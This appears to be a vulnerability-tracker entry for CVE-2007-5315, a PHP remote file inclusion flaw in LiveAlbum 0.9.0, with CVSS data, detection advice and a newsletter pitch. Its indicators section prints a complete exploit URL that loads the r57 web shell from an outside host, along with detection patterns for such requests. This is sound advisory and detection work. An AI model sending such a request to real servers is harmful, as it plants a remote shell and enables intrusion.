CVE-2007-5315

published 2007-10-09

CVE-2007-5315: PHP remote file inclusion vulnerability in common.php in LiveAlbum 0.9.0, when register_globals is enabled, allows remote attackers to execute arbitrary PHP…

Priority P3 44 medium 6.8 CVSS 2.0

AV N AC M Au N C P I P A P

EXPLOIT

PHP remote file inclusion vulnerability in common.php in LiveAlbum 0.9.0, when register_globals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the livealbum_dir parameter.

Affected

1 ranges

Vendor	Product	Version range	Fixed in
softpedia	livealbum	—	—

Detection & IOCs extracted from sources · hover to see the quote

url http://[TARGET]/[PATH]/common.php?livealbum_dir=http://xmors.by.ry/r57.php?↗

domain xmors.by.ry↗

path /common.php↗

filename r57.php↗

• → Detect HTTP requests to common.php with a remote URL supplied in the livealbum_dir parameter, indicating RFI exploitation attempt. ↗
• → Monitor GET/POST requests where the livealbum_dir parameter contains an http:// or https:// URL, especially those ending with a trailing '?' (null-byte/parameter injection pattern). ↗
• → Presence of r57.php in the livealbum_dir parameter value is a strong indicator of RFI shell-drop activity. ↗

• · The vulnerability is only exploitable when register_globals is enabled in the PHP configuration; installations with register_globals disabled are not affected. ↗

CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.

CWE-94